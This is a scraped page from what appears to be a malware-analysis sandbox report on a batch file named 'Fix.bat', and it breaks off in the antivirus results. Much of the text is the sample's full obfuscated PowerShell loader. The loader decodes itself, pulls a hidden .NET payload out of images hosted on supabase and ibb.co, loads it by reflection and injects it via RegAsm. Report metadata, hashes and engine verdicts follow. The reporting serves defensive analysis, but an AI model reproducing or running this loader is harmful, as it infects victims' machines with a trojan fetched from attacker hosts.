ABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''d@'',''r'')));iex $OWjuxD\"'"51:T1ad5,-Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('d@','r')));iex $OWjuxD"52:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmQAAAAAAAAAAAJmZmZmZmZkKAAAAAAAAAACZmZmZmZmZCqAAAAAAAAAAmZmZmZmZmQqqAAAAAAAAAJmZmZmZmZkKqqAAD/8AAACZmZmZmZmZCqqgAP//8AAAmZmZmZmZmQoAAAD///AAAJmZmZmZmZkKqqAA+//wAACZmZmZmZmZCqqgu7u/AAAAmZmZmZmZmQqqoAC7sAAAAJmZmZmZmZkKqqAAsLAAAAAAAAAAAAAACqqgALC7AAAADMzMzMzMzMCqoAAAAAAAAADMzMzMzMzMCqAAAAAAAAAADAzMzMzMzMCgAAAAAAAAAAAMzMzMzMzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAAAAAC7C7/wAAAAAAAAAAAAAAAAC7v//wAAAAAAAAAAAAAAC7u7v/8AAAAAAAAAAAAAAAu7v///AAAAAAAAAAAAAAAAC7D/8AAAAAAAAAAAAAAAAAC7AAAAAAAAAAAAAAAAD////////////////gAB//4AAP/+AAB//gAAP/4AAB8+AAAMHgAACA4AAAAOAAAIDgAAAB4AAAw+AAANfgAADT8AAA//gAAP/8AAD//gAA//8AAP//f////3////9/////f///zj///+Qf///wD///wA///8AP///wH///+D///w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790751934447,"unified_at":"2026-09-30T07:05:34.447Z","metadata":{"hashes":{"sha256":"bf62f89833654afabded809c6c21ab321b09898cb7cdbf6dbff300b57f54ec80","sha1":"581d9302ae482b7ffee8319340ff2dbbcdce264c","md5":"6ce3fc372b10d8592a82b58654e387df","sha512":"3e33f99abc5896c202f2acf29cd78f5f64e80a1c28adf6fa9f9f41ecd843abcfb9dd6d9836494e4bdce5db9b328b0e650336cfe10dfd56543abf6a6e449f350b","ssdeep":"384:ZlaK0cNHUDiVtSuFd+xT6Pgc4GcG1/wc2E/u/3OO2KhBD5k7LqyraZjxuGXSDcBr:T0SIiVFFd+F6eGhCtWOH5jhZjxupDKZV","ssdeep_chunks":["384:ZlaK0cN","384:laK0cNH","384:aK0cNHU","384:K0cNHUD","384:0cNHUDi","384:cNHUDiV","384:NHUDiVt","384:HUDiVtS","384:UDiVtSu","384:DiVtSuF","384:iVtSuFd","384:VtSuFd+","384:tSuFd+x","384:SuFd+xT","384:uFd+xT6","384:Fd+xT6P","384:d+xT6Pg","384:+xT6Pgc","384:xT6Pgc4","384:T6Pgc4G","384:6Pgc4Gc","384:Pgc4GcG","384:gc4GcG1","384:c4GcG1/","384:4GcG1/w","384:GcG1/wc","384:cG1/wc2","384:G1/wc2E","384:1/wc2E/","384:/wc2E/u","384:wc2E/u/","384:c2E/u/3","384:2E/u/3O","384:E/u/3OO","384:/u/3OO2","384:u/3OO2K","384:/3OO2Kh","384:3OO2KhB","384:OO2KhBD","384:O2KhBD5","384:2KhBD5k","384:KhBD5k7","384:hBD5k7L","384:BD5k7Lq","384:D5k7Lqy","384:5k7Lqyr","384:k7Lqyra","384:7LqyraZ","384:LqyraZj","384:qyraZjx","384:yraZjxu","384:raZjxuG","384:aZjxuGX","384:ZjxuGXS","384:jxuGXSD","384:xuGXSDc","384:uGXSDcB","384:GXSDcBr","768:ZlaK0cN","768:laK0cNH","768:aK0cNHU","768:K0cNHUD","768:0cNHUDi","768:cNHUDiV","768:NHUDiVt","768:HUDiVtS","768:UDiVtSu","768:DiVtSuF","768:iVtSuFd","768:VtSuFd+","768:tSuFd+x","768:SuFd+xT","768:uFd+xT6","768:Fd+xT6P","768:d+xT6Pg","768:+xT6Pgc","768:xT6Pgc4","768:T6Pgc4G","768:6Pgc4Gc","768:Pgc4GcG","768:gc4GcG1","768:c4GcG1/","768:4GcG1/w","768:GcG1/wc","768:cG1/wc2","768:G1/wc2E","768:1/wc2E/","768:/wc2E/u","768:wc2E/u/","768:c2E/u/3","768:2E/u/3O","768:E/u/3OO","768:/u/3OO2","768:u/3OO2K","768:/3OO2Kh","768:3OO2KhB","768:OO2KhBD","768:O2KhBD5","768:2KhBD5k","768:KhBD5k7","768:hBD5k7L","768:BD5k7Lq","768:D5k7Lqy","768:5k7Lqyr","768:k7Lqyra","768:7LqyraZ","768:LqyraZj","768:qyraZjx","768:yraZjxu","768:raZjxuG","768:aZjxuGX","768:ZjxuGXS","768:jxuGXSD","768:xuGXSDc","768:uGXSDcB","768:GXSDcBr","384:T0SIiVF","384:0SIiVFF","384:SIiVFFd","384:IiVFFd+","384:iVFFd+F","384:VFFd+F6","384:FFd+F6e","384:Fd+F6eG","384:d+F6eGh","384:+F6eGhC","384:F6eGhCt","384:6eGhCtW","384:eGhCtWO","384:GhCtWOH","384:hCtWOH5","384:CtWOH5j","384:tWOH5jh","384:WOH5jhZ","384:OH5jhZj","384:H5jhZjx","384:5jhZjxu","384:jhZjxup","384:hZjxupD","384:ZjxupDK","384:jxupDKZ","384:xupDKZV"],"imphash":"Unknown"},"file_info":{"file_name":"Fix.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":21105,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1756036558000,"last_seen":1756153016000,"last_multi_scan":1756153016000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":72},"sandbox_signatures":{"informative_count":155,"suspicious_count":13,"malicious_count":6,"total":174},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.77175907","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.77175907 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot 